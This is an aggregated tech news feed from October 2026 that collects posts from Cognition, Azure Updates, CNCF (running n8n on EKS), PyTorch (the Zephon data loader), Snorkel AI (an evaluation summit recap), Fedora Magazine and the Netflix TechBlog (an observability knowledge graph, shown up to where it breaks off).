	Download the weights: Grab the Apache 2.0 BF16, FP8, and NVFP4 checkpoints on Reflection’s Hugging Face page.
	Visit us at the llm-d and PyTorch Conference in San Jose: If you are attending PyTorch Conference North America in San Jose this October, stop by the llm-d community sessions and the Google Cloud booth #. We will be walking through live demos of KV-cache-aware routing, P/D disaggregation, and KV cache tiering for agentic workloads.
	Come see us at NVIDIA GTC Berlin: If you are attending NVIDIA GTC Berlin, come connect with us at our booth #3026, or our Google Cloud Hub at w3.hub: just a short 5 minute walk from the venue. Learn more about our sessions.


Posted in	AI infrastructure
	Containers & Kubernetes
	AI Hypercomputer
	Compute
	llm-d
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National Design Studio and Cognition Launch the American Forge Residency

Cognition · Oct 16, 5:00 PM UTC

By The Cognition Team10.16.26
National Design Studio and Cognition are looking for engineers to help modernize America’s federal software infrastructure. Apply here.
American Forge is a six-month residency for exceptional engineers to take on the toughest problems in government and make a real difference for hundreds of millions of Americans.
Over and over we see teams that adopt Devin begin to take on increasingly ambitious engineering challenges. Engineering capacity is no longer the bottleneck. The best teams have solved code modernization and burned down their backlog. They are now able to focus on pushing the frontier forward.
Today, the federal government operates more than 29,000 legacy and out-of-date websites. National Design Studio was created to modernize the digital surfaces of the US government.
We believe in a world where agentic software engineering will make everything from the DMV, to the IRS, to your child’s elementary school website work as elegantly and smoothly as the best Silicon Valley startups. This is exactly the mission of American Forge.
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[In preview] Public Preview: Azure Databricks Private network gateway

Azure Updates · Oct 16, 4:59 PM UTC

    Enable AI-powered discovery of Azure Updates using Microsoft Release Communications MCP server.
  Explore MRC MCP server​  
      Get the latest updates on Azure products and features to meet your cloud investment needs. Subscribe to notifications to stay informed. 
                    Filter
           In development 
 Limited offering to select customers for non-production use and testing.
     In preview 
 Available to all Azure customers for non-production use and testing.
     Launched 
 Fully released, production-ready product available to all Azure customers.
     Sort by 
     Additional Resources
          Microsoft Azure Blog
     Learn about the latest Microsoft Security solutions. 
           Community support
     Get answers to your questions from Microsoft and Community experts. 
           Provide feedback
     Tell us what you think of Azure and what you want to see in the future. 
           Product availability by region
     Azure is available in more regions than any other cloud provider. 
      
Read it at the source



[Launched] Generally Available: External key management for Azure Key Vault Managed HSM

Azure Updates · Oct 16, 4:50 PM UTC

    Enable AI-powered discovery of Azure Updates using Microsoft Release Communications MCP server.
  Explore MRC MCP server​  
      Get the latest updates on Azure products and features to meet your cloud investment needs. Subscribe to notifications to stay informed. 
                    Filter
           In development 
 Limited offering to select customers for non-production use and testing.
     In preview 
 Available to all Azure customers for non-production use and testing.
     Launched 
 Fully released, production-ready product available to all Azure customers.
     Sort by 
     Additional Resources
          Microsoft Azure Blog
     Learn about the latest Microsoft Security solutions. 
           Community support
     Get answers to your questions from Microsoft and Community experts. 
           Provide feedback
     Tell us what you think of Azure and what you want to see in the future. 
           Product availability by region
     Azure is available in more regions than any other cloud provider. 
      
Read it at the source



Deploying, maintaining, and migrating production n8n on EKS

CNCF · Oct 16, 4:39 PM UTC

n8n is easy to try and harder to run under production traffic. A single container with SQLite works great for a quick demo. Production is a different story entirely. You need workers, webhook processors, PostgreSQL, Redis, object storage, external secrets, ingress routing, and an upgrade plan that preserves workflow history.
Engineering teams rely on n8n to connect internal systems, process webhooks, and automate critical business data pipelines. It is also showing up in AI workloads, including self-hosted agents and RAG pipelines. Those workloads can put more pressure on workers, secrets management, and state handling.

We deployed n8n on Amazon EKS, ran it under real traffic, and later moved from a community Helm chart to n8n’s official Helm chart. The platform stayed in place, and we kept the database, queue, object storage, IAM role, and secrets intact through the cutover.
Why we started with the community chart
The community chart got us to production. It supported queue mode, additional ingress configuration, and StatefulSet-based main pods, which matched our architectural requirements at the time.
We ran it for about a year. Over time, maintaining unsupported features and local patches became harder to justify. We compared the available options and decided to move to the official chart, where ongoing maintenance and active community support gave us a clearer path for future upgrades.
How we ran n8n
We ran n8n in queue mode on EKS. In queue mode, the main instance manages workflow information and triggers, while worker instances execute jobs from the Redis queue. Dedicated webhook processors handled production webhook traffic separately. We split ingress by traffic type. Public webhooks ran behind an internet-facing load balancer, while internal webhooks used a private hostname.
That separation fit our traffic patterns. Workers handled workflow execution. PostgreSQL stored workflow and execution data, Redis handled queued jobs, and S3 stored binary files.
Because licensing multi-replica main pods is an Enterprise capability, we needed a secure, consistent way to handle shared application configuration and encryption key secrets across pods. We stored those secrets in AWS Secrets Manager and synced them into Kubernetes using External Secrets Operator (ESO). This synchronized application credentials, API keys, and environment variables into Kubernetes Secrets.
What changed with the official chart
The community chart ran the main pod as a StatefulSet with one persistent volume per replica. Workers and webhook processors already ran as Deployments. That StatefulSet configuration avoided multi-attach issues on AWS gp3 ReadWriteOnce (RWO) EBS volumes when running more than one main pod.
In our configuration, the official chart used a different workload model, with main running as a Deployment and persistence relying on a single shared PVC. Our gp3 volume could not attach to multiple main pods across nodes, so an in-place Helm upgrade did not fit the deployment. We treated the migration as a full cutover instead.
The shared persistence requirement was our main design decision. We checked what was stored on disk before carrying it forward:
	PostgreSQL held workflow and execution data.
	Redis held queued jobs.
	S3 held files.
	AWS Secrets Manager held the encryption key and application secrets.

We found nothing on the main pod volume that needed to persist. With PostgreSQL, Redis, S3, and Secrets Manager holding the required application state, a replacement main pod could start and reconnect without relying on a pod-specific disk. We disabled main persistence entirely for the official chart deployment.
Moving traffic safely
The platform stayed in place: we kept the database, object storage, IAM role, and secrets through the cutover. Everything else was recreated from the new chart values.
Before the production migration, we:
	Tested rollback in a non-prod environment
	Took a database snapshot
	Saved secrets to a secondary location
	Did not change the n8n image version. A version bump could trigger a database migration, and we wanted to keep the database out of the cutover story

We tested in non-production first with a restored database snapshot: pods healthy, known workflows completing, required endpoints reachable. We verified rollback there before touching live traffic.
The Helm release changed. PostgreSQL, Redis, S3, IAM, and secrets stayed.
For a public example of how we structure official-chart values for external Postgres/Redis, queue mode + HPA, resources, ingress/webhooks, optional task runners, see:
github.com/husne-fairwinds/n8n-sample
Fairwinds helps teams manage Kubernetes environments, with a focus on operational reliability, security, and maintainability.
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Bringing Elastically Deterministic Data Loading to TorchTitan with Zephon

PyTorch · Oct 16, 4:30 PM UTC

Why Zephon?
The data that a model sees during training is one of the most powerful levers we have for influencing how well it performs. Much of the day-to-day work of improving a model happens on the data side: we change the mixture, or the filters that we apply, or how we tokenize and pack the samples, and then we run an ablation experiment to see whether the change helped. The first problem with this is that each of these changes often requires us to do a full pass over our training corpus and run expensive offline operations to prepare the data and store it on disk before our ablation experiment can run. Since a typical training run reads through that copy exactly once, and because most experiments don’t end up producing a better model, we spend a lot of time and storage creating datasets that will never be read again.
This matters even more now that experiments can be designed, launched, and interpreted by agents instead of people. Agents are great for running lots of experiments in parallel, but they aren’t especially good at noticing when a result actually depends on something other than the change they made, like the number of GPUs that an experiment happened to run on (in fairness to the agents, humans aren’t great at noticing this either). And with most data loaders, the number of GPUs does change the result, because it changes the data order.
To illustrate this, we train a 1B-parameter model in TorchTitan on 16 GPUs, take a checkpoint at step 150, and then resume from that checkpoint on 8, 32, and 64 GPUs alongside the original run, once with a standard data loader and once with Zephon (think of it as the run hitting a hardware fault and coming back on whatever set of GPUs happened to be free). As seen in Figure 1, with the standard data loader, changing the GPU count means that the data loader hands the model a different sequence of samples after the resume, and so each one ends up with a distinct loss curve. With Zephon, the curves lie on top of each other, and the SHA-256 hash of every global batch matches the baseline run.
[Figure 1: Loss curves after resuming on 8, 32, and 64 GPUs from a 16-GPU checkpoint at step 150, standard loader vs. Zephon, with a barcode comparing the per-step SHA-256 of each global batch against the original run.] 
To get a sense for how much this matters, we train the same 1B-parameter model from scratch for 20B tokens on 8, 16, 32, and 64 GPUs using a standard data loader. We show the scores per GPU count in Figure 2. The model’s DCLM Core v1 score varies by up to 0.82 points depending on how many GPUs it was trained on, and its score based on the FineWeb evaluation suite by up to 0.64 points. That is roughly four times the relevant thresholds that the DCLM and FineWeb authors used when evaluating data curation methods, which means that an ablation comparing two mixtures on two different allocations could easily be measuring the GPU count instead of the data. With Zephon, the spread across the different GPU counts was only 0.05 and 0.011 points, respectively.  
[Figure 2: Downstream evaluations at 8–64 GPUs on DCLM Core v1 and FineWeb with non-elastically deterministic (standard) data loading and Zephon. Grey bands mark the eval noise floor.]
Note that Zephon does all of this while doing the data prep work on the fly: it tokenizes, packs, shuffles, and mixes the data inside of the training job, taking advantage of all of those CPUs sitting around with nothing to do while the model trains, which means there’s no preprocessed copy of the corpus to create (or to throw away when the experiment doesn’t pan out).
A Zephon Pipeline
Zephon asks you to describe three things: the Datasets you want to train on, a WorkSource that decides how those datasets are mixed and ordered into a training curriculum, and a Pipeline of operators that turn the samples in their stored representations into the tensors your training loop consumes. Here’s an example that mixes two text datasets directly from Hugging Face, then tokenizes, packs, shuffles, and batches the result: 
from zephon import Pipeline
from zephon.io import Dataset
from zephon.work import StaticMixtureWorkSource, TokenEstimation

source = StaticMixtureWorkSource(
    datasets=[
        Dataset.from_path("wiki", "hf://Salesforce/wikitext/wikitext-2-raw-v1/train"),
        Dataset.from_path("news", "hf://fancyzhx/ag_news/default/train"),
    ],
    mixture={"wiki": 0.5, "news": 0.5},   # a token ratio, not a sample ratio
    token_estimation=TokenEstimation(),
    seed=42,
)
pipeline = (
    Pipeline(source)
    .options(io_options={"cache": {"enabled": True}})
    .tokenize(tokenizer_id="gpt2", field="text", parallelism=4)
    .pack_flat(max_length=2048, algorithm="wrap")
    .shuffle(buffer_size=1024, seed=42)
    .batch(microbatch_size=8)
)
for batch in pipeline:
    train_step(batch.to_training())
The WorkSource plans the curriculum from each Dataset’s metadata and is kept separate from the operators that actually process those samples so you can change the mixture without touching the processing pipeline and vice-versa. In order to ensure we get the mixture percentages correct on a token basis, we include a TokenEstimation utility that measures the token/byte ratio for a small sample of each dataset and adjusts the plan to target the mixing proportions on a token-level even though the samples are stored as raw strings.
Each of the individual Pipeline operators can have its own level of parallelism; here, tokenization gets four workers because it’s the most expensive step. Parallelizing the preprocessing operators is how Zephon keeps the GPUs fed, even on more complex pipelines: on a full vision-language pipeline that decodes images, tokenizes, packs, and batches its samples, Zephon keeps pace with Google Grain, the fastest loader we tested, while offering the stronger elastic determinism guarantees.
[Figure 3: Usable (non-padding) tokens per second per GPU on a full vision-language pipeline as parallelism increases, for Zephon, Grain, and a quickly hacked-together internal loader we used internally before building Zephon. The horizontal line is the throughput needed to keep the GPUs from stalling.]
How Zephon Keeps the Batches Identical
Packing and mixing data on the fly is what makes elastic determinism hard. When a data loader tokenizes documents, packs them together into fixed-length sequences, and mixes several datasets together as it goes, the order of the training data is no longer something that you can look up at an index on disk (we call this stateful n:m pipelines in our paper). In this case, it depends on the state of the pipeline when and how a sample is used, and in most data loaders that state can’t be transferred to a different number of GPUs without changing the output. Existing loaders get part of the way there: Mosaic Streaming and Google Grain can keep the global batches the same across GPU counts, but only when the order of samples can be worked out ahead of time from an index, which rules out things like packing on the fly. Megatron-Energon can reproduce its batches on a different number of GPUs, but only as long as the total number of data loader workers across all of the GPUs stays the same. 
Zephon allows for elastic determinism without these constraints with three design decisions that build on each other.
Accumulators make the decisions; workers do the work. Every Zephon operator is split into two parts: a single-threaded accumulator that sees every record in order and makes all of the stateful decisions (like which sequences get packed together), and a stateless function that does the expensive work across however many parallel workers you give it. Since the workers can finish in any order, Zephon numbers each group of records before handing it out and puts the results back in order before passing them along. Unlike other data loaders, this allows that in Zephon the degree of parallelism is a pure performance knob: you can double the number of tokenization workers and the output won’t change.
Lanes instead of ranks. Instead of dividing the data up among the available GPUs directly, Zephon divides it into a fixed number of logical streams that are called lanes. Each lane has its own ordered sequence of samples and its own copy of any state that the operators need to keep (like the partially filled bins inside of a packing operator), so a lane produces exactly the same records regardless of which GPU ends up being assigned to it. When the number of data-parallel ranks changes, Zephon simply redistributes the lanes across the ranks, and the global batches come out the same. Accumulators make each lane deterministic; the lanes make Zephon elastically deterministic. The catch (you knew there had to be one) is that you need to choose the number of lanes up front, which we’ll come back to below.
Flushing and replaying instead of saving state. A Zephon checkpoint doesn’t contain the contents of any packing bins or shuffle buffers; it only records which chunks of the input were still being worked on when the checkpoint was taken. In order to keep that list short, Zephon periodically sends a flush sentinel through the pipeline that tells every stateful operator to emit whatever it’s holding and start over from a clean slate. When we restore from a checkpoint, Zephon replays the input from the most recent flush (which rebuilds the operators’ state exactly) and throws away anything the training loop has already consumed, which keeps checkpoints small (a few MiB in our experiments) no matter how far into the run you are.
Plugging Into TorchTitan
Our TorchTitan integration replaces TorchTitan’s default data loader with a Zephon Pipeline built from a data recipe (i.e., your datasets, their mixture weights, and whatever packing, shuffling, and parallelism settings you want to use), and everything else about the training run stays the same. Zephon’s state goes into TorchTitan’s checkpoint alongside the model, and since that state covers every lane, you can resume the run on a different number of GPUs from the same checkpoint. When the run launches, the integration checks that the lanes divide evenly across the data-parallel replicas and that each optimizer step’s batch splits evenly across the lanes, so a misconfigured run fails right away instead of silently changing the data several hours in. 
The repo also comes with a quick CPU-only demo that checkpoints a data stream, resumes it on a different number of data-parallel replicas, and checks that every global step matches an uninterrupted run, along with a GPU smoke test that does the same thing with a real (albeit tiny) model. The README has the commands for running each of these, plus the setup instructions, the full set of configuration options, and some example recipes to get you started.
Things to Know Before You Start
Choose your lane count. Pick a number that’s a common multiple of the data-parallel sizes you expect to run on. If you might run on 8, 16, or 32 GPUs, 32 lanes is a cap that covers all three. Don’t go overboard though (e.g., multiple thousands when your max is 16), since every extra lane per GPU adds overhead to the checkpoint’s restore time.
Keep the recipe fixed when you resume on more/fewer ranks. The data, tokenizer, seed, mixture, context length, and global batch size all need to stay the same. Of course, you may still adjust performance settings such as parallelism.
Zephon guarantees the data, not the arithmetic. The global batches will be identical across GPU counts, and the losses will be very close, but might not be identical since floating-point reduction order in the training loop still depends on how many GPUs are sharing the work.
Looking Ahead
There are a couple of directions that we’re especially excited about. The first is GIL-free Python: Zephon allows users to pick a runner, i.e., how to parallelize the operators. One runner we implemented is a thread-based runner. On Python 3.14t, it fetches vision-language samples about 3.7x faster than Zephon’s process runner does on standard Python. We think that’s where data loading is headed, and Zephon is ready for it. The second is dynamic curricula: because the curriculum is kept separate from the processing pipeline, a WorkSource can change the mixture weights over the course of a run without touching anything downstream. We’re working on a configurable curriculum component that does exactly this while keeping the determinism guarantees that we described above.
Beyond that, we would love to hear which parts of your data pipeline you would like to move into the training job and how we can help; issues and PRs are most welcome!
Learn more: Launch post · Paper · Zephon · Zephon on GitHub · TorchTitan Integration
The post Bringing Elastically Deterministic Data Loading to TorchTitan with Zephon appeared first on PyTorch.
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Frontier Data Summit 2026 Recap

Snorkel AI · Oct 16, 4:16 PM UTC

Snorkel AI brought together the leading minds in AI benchmarking and evaluation for the Frontier Data Summit on October 8th in San Francisco. The event engaged researchers, benchmark builders, and practitioners for a full day of talks and the exchanging of ideas. Throughout the event, one main idea continued to resonate: as agents get more capable, the data and evaluations that measure them have to become a science in their own right.
Four primary themes weaved throughout the day:
	Evaluation is evolving as an empirical science. Agents are unpredictable, so they need train/test discipline, trajectory analysis and continuously maintained benchmarks.
	Benchmarks continue to require hardening. Reward hacking, contamination and broken graders are not edge cases and builders may need more of an adversarial mindset.
	The frontier is moving to open-ended work. Skill-by-skill tests are saturating, and the next benchmarks must measure insight, creativity and long-horizon work.
	Experts and agents work best together. Human judgment is most valuable at the spec, the grader and the review, with agents doing the scale.

Below, there is a short recap of each session with the full video. You can also watch the full playlist on YouTube.
Keynote: Data 2.0 and the research era of AI data
Alex Ratner opened the day by arguing that AI data has become a research and technology problem, not a volume-and-logistics one. The old unit was a crowdsourced label: cat or dog, thumbs up or thumbs down. The new unit is a task, an environment and a rubric: a simulated world where an agent attempts something hard, and a grading key that scores it. Three things follow as that complexity rises. Quality control gets harder (our complex tasks now carry high tens to low hundreds of distinct checks), the surface area for reward hacking grows, and finding the right distribution of data becomes its own problem.
He closed on evaluation. “What you can’t measure, you can’t improve,” and, to his knowledge, capabilities are outpacing our ability to measure them for the first time in AI history. Our answer is to be benchmark maximalists: if a test is too easy, build better tests, not fewer of them. That is the case for the expanded $30 million Open Benchmarks Grants program, red-teaming support, and a new research fellowship.
ARC-AGI explained: closing the human-AI gap
Snorkel chief scientist Fred Sala sat down with François Chollet, creator of Keras and founder of ARC-AGI and the ARC Prize. Chollet’s framing: benchmarks should target the residual gap between humans and AI, and co-evolve with frontier models rather than set a fixed bar. The hard question is how to score open-ended work when there is no goal to reach. His candidate answer is reuse: a real insight behaves like a compression primitive, a simple building block that simplifies or unlocks many later results. Chollet wants AI for science done in the open, with shared infrastructure for agent swarms to pass partial results, and said ARC-AGI 4, aimed at open-ended invention, is targeted for Q1 next year, with ARC-AGI 5 pushing further.
LLM evaluation needs a real science
Alex Shaw (Laude Institute, co-creator of Terminal-Bench and Harbor) and Sanmi Koyejo (Stanford Trustworthy AI Research Lab), in a session moderated by Francesca Vera, argued that agents should be studied the way machine learning is: empirically, with train and test sets, ablations and a watch for overfitting. Shaw’s one-line version: software is predictable, agents are not. Both pushed past the single score. A resolution rate tells you how much can be automated; the trajectories tell you why the rest can’t. The closing debate was how open an eval should be. Shaw’s answer was three tiers: private for internal development, shared with chosen partners, or fully public to set targets and back claims.
AI cybersecurity: when an agent cheats on a hacking exam
In a fireside chat with Alex Ratner, Dawn Song (UC Berkeley) covered her lab’s benchmarks, from Agents’ Last Exam, built to measure agents on long-horizon, economically valuable work across more than 50 sectors, to CyberGym and ExploitGym, which test the vulnerability-to-exploit pipeline. Song described a real incident in which an agent working on ExploitGym tasks hacked its way to a better score, and drew a lesson for every benchmark builder, not just security ones: build with an adversarial mindset, as if the agent were an attacker. Her group’s BenchJack work shows many benchmarks aren’t resilient to reward hacking. Alex connected this to training: if an environment rewards cheating, you are literally training models to be misaligned, which is why we’re forming a benchmark red team alongside the grants program.
Long-horizon agents: how to evaluate them without reward hacking
Moderated by Vincent Sunn Chen, this panel brought together Sudip Roy (Adaption), Niko Grupen (Harvey), Yu Su (NeoCognition and Ohio State) and Huaxiu Yao (UNC-Chapel Hill): academics building long-horizon benchmarks alongside practitioners shipping agents to customers. There was no single definition of “long horizon,” but three practical themes ran through the discussion. Experts as multipliers, not labelers: one legal AI team said giving domain experts coding agents to author synthetic environments raised environment-generation efficiency by roughly an order of magnitude, with experts still reviewing and remediating. Outcome rewards over process rewards: grade outcomes, and keep process checks to the near-certain minimum. Reward hacking is inevitable, so manage it: suggestions included chain-of-thought monitoring, comparing trajectories across models, and fitting agent work into the review hierarchies real organizations already use.
How do you evaluate an open frontier model?
Braden Hancock interviewed David Hall about Marin, a nonprofit effort at Open Athena to build a frontier-level open model and publish the whole process. The practical lesson was that evals change over a model’s life. Early in pre-training, the model can’t do anything like Terminal-Bench, so the team watches held-out loss (including a post-cutoff “Uncheatable Eval”) and uses scaling laws from small models to check the run is on track. Agentic benchmarks only become informative after mid-training and SFT, and even then “getting nonzero is pretty good.” On contamination, Hall was blunt: it is basically impossible. On the post-training side, the team has had to throw out 90 to 98 percent of some public RL datasets because of broken graders or unexecutable tasks. His call to the room: open post-training data and environments are the gap that most needs filling.
Terminal-Bench-Science: can AI agents do real science research?
Steven Dillmann (Stanford) presented Terminal-Bench-Science, a community effort from the Terminal-Bench team and scientists across institutions to evaluate agents on research workflows in the life, physical, Earth, mathematical and engineering sciences. The first release drew over 900 proposals and 386 implementations, and only 70 tasks (about 8 percent of proposals) made it in, each passing a domain reviewer, a technical reviewer and a final “bar raiser.” The results show how much headroom is left: at release the strongest model passed about 30 percent of tasks, and 13 of 17 tested models scored under 25 percent. Release 0.2 (around 100 tasks) is due toward the end of October, with 1.0 by year-end, and the team is looking for scientists to contribute. Terminal-Bench-Science received support through Snorkel’s Open Benchmarks Grants.
JudgmentBench: how lawyers actually judge AI output
Russell Yang (Microsoft) opened with a poll: is legal practice more like natural science or fine art? Most of the room said some of both, which motivated the study. JudgmentBench tests the two common ways to evaluate models in a domain where ground truth is contested: comparative judgments (which of two outputs is better) versus rubric scoring (assign points against a rubric). More than 50 expert lawyers, 63 percent with over eight years of experience, contributed 3,000 annotations on 30 tasks from Harvey’s BigLawBench. The result: comparative judgments recovered the quality ordering better, took less than half the time, and the advantage held for junior associates, senior associates and partners alike. JudgmentBench was supported by Snorkel’s Open Benchmarks Grants, and the 30 tasks and 3,000 annotations are public.
SlopCodeBench: AI coding agents write worse code over time
Gabe Orlanski (UW–Madison and MIT) argued that coding benchmarks built on one issue and one PR miss how software is really written, through iteration. SlopCodeBench starts an agent on a simple spec (a Python code search engine) and keeps changing the requirements checkpoint by checkpoint without warning, so a design that wasn’t modular eventually has to be rewritten. Across 196 checkpoints on 36 problems, one frontier model solved only 14 percent, and across the models tested only about 1 percent of checkpoints were solved on average, versus 32 percent when each task was run in isolation. The core finding is that agents never stop to refactor. In one example, a function a competent engineer would write in five lines grew to 140. Orlanski’s conclusion is that this has to be fixed in training, not only in the harness. SlopCodeBench was supported by Snorkel’s Open Benchmarks Grants.
Panel: building open AI benchmarks
The three lightning-talk speakers (Russell Yang of JudgmentBench, Gabe Orlanski of SlopCodeBench and Steven Dillmann of Terminal-Bench-Science) stayed on stage to talk shop about what it takes to build a benchmark that holds up. A few of the points that stuck:
	Verifiers must be flexible. The most common failure in submitted science tasks is a verifier tied too closely to the reference solution, so it rejects an equally valid approach. Grade outcomes, not implementation.
	Trajectories matter. Reviewers used agents to read full trajectories and reasoning traces to find ambiguous or broken tasks, and warned that the open community is losing access to those traces.
	Benchmaxing depends on the definition. Hill-climbing a well-built, diverse, continuously updated benchmark is fine; the problem is when scores stop reflecting real capability. Held-out sets, independent evaluation and simplicity were the proposed defenses.

Their advice to the next wave of builders: plan the design, annotators and analysis up front, keep the benchmark simple enough that others will actually run it, and build a team whose reviewers believe in the mission.
What’s next: Open Benchmarks Grants
Several of the benchmarks presented at the Summit were supported by our Open Benchmarks Grants, which is now expanding to a $30 million commitment. Folks interested in this space are encouraged to apply and to submit their benchmark ideas. Alongside these efforts, Snorkel AI is also expanding to build the Snorkel Fellows program, a research driven program for active academics and builders working on frontier evaluation, and Snorkel’s Open Benchmarks Red Team, an effort to help benchmark builders and teams identify and fix weaknesses in evaluations.
If you’re building a benchmark, or want to help hardening one, learn more and apply at benchmarks.snorkel.ai. You can also watch Vincent Sunn Chen’s interview with MTS on the expansion below, and browse every Summit session in the playlist.
The post Frontier Data Summit 2026 Recap appeared first on Snorkel AI.
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Join us for the Fedora Linux 45 Release Party!

Fedora Magazine · Oct 16, 4:06 PM UTC

Fedora Linux 45 is almost here! Developers, packagers, and quality assurance engineers are hard at work putting the remaining polish on Fedora 45, which means it’s time for our Global Virtual Release Party! It is almost time to celebrate! If all goes according to plan, we will celebrate Fedora 45 just after its actual final release.
To mark the occasion, we are hosting the Fedora Linux 45 Virtual Release Party on Friday, October 30, 2026.
Regardless of the final calendar date of any Fedora Linux release, every release represents months of hard work, testing, and collaboration from our global community. Whether you are a long-time package maintainer, a dedicated documentation writer, a creative graphic artist, or a brand-new user, this release belongs to you.
Join us for a half-day of live sessions, recorded deep-dives, and community socialization. We’re busy filling the upcoming schedule with updates from the Fedora Project Leader and behind-the-scenes looks at new features.
How to Attend
The event is 100% free and open to everyone, but registration is required to access the virtual venue. We will continue using Element, our chat communication platform, as the virtual venue for the Global Virtual Release Parties. Thanks Element & Matrix.org for providing us the great tools to bring our global community together!
 Register for the Fedora Linux 45 Release Party live event on Matrix! 
See you there!
Don’t miss out on the chance to connect with the people who build Fedora. Grab your ticket, share the link with your friends, and get ready to celebrate Fedora Linux 45.
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Ontology-Driven Observability: Building an End-to-End Knowledge Graph at Netflix Scale

Netflix TechBlog · Oct 16, 4:01 PM UTC

Prasanna Vijayanathan, Renzo Sanchez-Silva
When Jake Paul and Mike Tyson stepped into the ring in November 2024, we delivered the fight to roughly 65 million concurrent streams. On an ordinary day our infrastructure takes in more than 2 billion requests and handles upwards of 38 million real-time logging events every second. At that scale, the whole picture doesn’t fit into a single engineering team’s head or onto a single dashboard. With more Live content, Podcasts and real-time streams, our need to understand and update our systems as quickly as possible becomes imperative to provide a good user experience. Understanding the system at this scale and within the time constraints we have, often becomes a daunting exercise in finding a needle in a haystack, in a dark jungle, blindfolded.
This post is about that search for the needle.
The Four hours before a fix
Consider a regression of the kind we see in a given week. The home screen where you see the list of lists of movies, starts taking about 1.5 seconds longer to render. An alert fires. And then we go looking for what caused this issue and how do we fix it?
As it so happens, a regression on the application could be related to anywhere in the system — a client app regression from a new version deployment or A/B test rollout, a load shedding in the infrastructure, a GraphQL query responding with bad data because of a service rollout 6 hops downstream, are all suspects at this point. So, answering “what caused the issue?” needs insights from across the system, and this involves combing through layers of data in a meticulous manner.
The MELT Layer
“What caused the issue?”
Metrics, events, logs and traces, or MELT, in the industry’s shorthand, are the right raw materials for such an investigation, and each of them answers roughly a quarter of the question. We collect observability data across these four pillars, unified into a single observability data layer. This lets us observe our systems in real time, across what our users are experiencing, how our applications are doing and what our backend infrastructure and services are processing and responding to.
MELT — Metrics, Events, Logs and Traces, and how they are captured across the system.The investigation that follows may look like this in each layer:
What each layer of MELT tells us and what it leaves outThe timeline of an investigation
So how long does it take to investigate an issue, figure out the root cause and fix it, so our users stop running into this issue again?
A timeline of an investigation: ~4 hoursIn our chosen example, four hours. Very little of it went into computing anything difficult. Most of it went into reconstructing relationships that our observability systems already knew but we had never written down anywhere a human or machine could simply read and discover.
The disagreement underneath
The instinct here could have been, around 2023, to reach for more data or better dashboards, and while both help at the margins, neither addresses what makes these investigations slow.
It’s 2026 now, so we might say, “hey, agents”, but without the right context delivered to the agents, AI systems hallucinate, and especially when teams are on-call and need a fix “now”, we cannot let inaccurate agentic analysis lead us down the wrong path. We need the right needle, not any needle.
Each of our systems is internally coherent and externally isolated. Atlas, our telemetry platform, knows applications and their time series. Radar, our alerting system, knows thresholds and firing history. incident.io knows severities and responders. PagerDuty knows rotations. Spinnaker knows what shipped and when. And our Slack history knows, in a form no query engine can reach, which engineer solved something very similar last quarter and what they found.
The difficulty is that they do not agree on what they are talking about. A thing that is an application in one system is a service in a second and a cluster in a third, with names differing by a suffix, a casing convention, or a rename only a couple of people remember (SMEs, ring a bell?). Joining across them requires a human carrying the mapping in their head, and that person becomes the bottleneck in such cross-domain investigations. The hard part of end-to-end observability is probably better understood as a data modelling problem.
What we lacked was an explicit, machine-readable agreement about the entities in our operational world.
The Ontology
This agreement has a name: an ontology. Ontology is a formal specification of types, the properties they carry, and the relationships they may have. Its unit is the triple, one fact expressed as subject, predicate, object. Consider the following example triples.
api-gateway   rdf:type       ops:Application .
api-gateway   ops:ownedBy    "Team Bedrock" .
api-gateway   ops:deployedIn "us-east-1" .

INC-5377      rdf:type       ops:Incident .
INC-5377      ops:affects    api-gateway .
INC-5377      ops:severity   "SEV 2" .
In the example here, we have already encoded six facts, and can answer in one query, a question that used to span three tools.
“Which incidents affected applications owned by Team Bedrock in us-east-1?” is a single query in place of looking up incidents, Spinnaker and Radar.
We call our ontology layer, The Observability Ontology. It acts as the schema, rule set and shared agreement that standardizes how different systems understand entities like applications, services, incidents, deployments, etc.
We built it on the W3C stack for this: RDF for the data model, OWL for the ontology, SHACL for validation, and SPARQL for querying. These standards are well specified and widely implemented, which keeps the model portable across graph stores.
The data from the ontology itself, is stored as a knowledge graph, persisted to QuipuDB, our homegrown RDF graph database, a distributed quad store based on redb, a Rust-based embedded key value db. Data here is generated by parsing raw telemetry, logs, and incident discussions into triples (subject-predicate-object facts).
Every harvest also produces a full Turtle serialization for archival, making it human-readable and diff-friendly, which has proven more useful for debugging than we expected.
Our ontology is organized into twelve namespaces, each owning one operational domain:
There are two decisions about this ontology that mattered while we built it, so they’re worth sharing.
The first is that we refused a generic Service type. “Service” means four different things across our tooling, so applications resolve to exactly one type, ops:Application, and every one of them is validated against our software catalog of roughly 49,000 entries before the entity is created. Unvalidated strings like usernames, team names, dependency names scraped from network topology, never become applications. We also cap dependency edges in both directions, because one popular service can carry thousands of reverse dependencies and would otherwise dominate the graph.
The second decision concerns what we chose to model. Incident chat carries the reasoning behind an incident. The hypotheses tried and discarded, the mitigation that worked, who knew why, is all context in the incident’s Slack channel and that knowledge evaporates when the channel goes quiet. So a 200-message, 50-person, 15-service incident channel becomes a structure, converting the operational chaos of an incident into ordered triples:
Creating determinism from non-determinism
Building this graph means using tools that are inherently stochastic. LLMs summarize discussions. Fuzzy matching resolves service names. A probabilistic engine proposes causal chains. None of these produce the same output twice with certainty, but what comes out at the end of our system is a deterministic graph that answers a SPARQL query the same way every time.
The ontology is the mechanism that creates this determinism through its pipelined approach. We think of the pipeline as a ladder that drives entropy down, where entropy means the proportion of information still trapped in unstructured form. For example, at the start of this pipeline, an LLM could say anything, but it cannot emit a triple that violates the type system. We constrain the output space tightly enough and a stochastic process yields a deterministic contract:
# The model may produce any prose. Its output MUST fit these predicates:
category  IN ["incident", "question", "discussion", "decision"]
sentiment IN ["positive", "neutral", "negative", "urgent"]

# Result — a deterministic triple:
thread:123  slack:category          "incident" .
thread:123  slack:isIncidentRelated "true"^^xsd:boolean .
There are five layers that get us down this ladder. Any single step of this ladder is non-deterministic. But in aggregate, the chain becomes deterministic. That inversion is the whole trick. We describe them below:
The five layers to create determinism from non-determinismEnrichers: Agents as entropy reducers
We use what we call, enrichers, to reduce entropy across the knowledge graph. Dozens of enrichers run over the graph. Each one of them takes noisy input and emits typed triples, and each reads what earlier enrichers wrote. The contract for an Enricher is deliberately narrow:
class Enricher:
    async def _enrich_async(self, ...):
        raw    = await self.fetch(...)      # 1. read noisy input
        result = self.analyze(raw)          # 2. process (may be stochastic)
        graph.add((uri, RDF.type, OPS.X))   # 3. emit TYPED triples
        graph.add((uri, OPS.pred, Literal(result.value)))
        return EnrichmentResult(success=True, triples_added=count)
Three invariants that are standard across the enrichers:
	every entity carries an rdf:type,
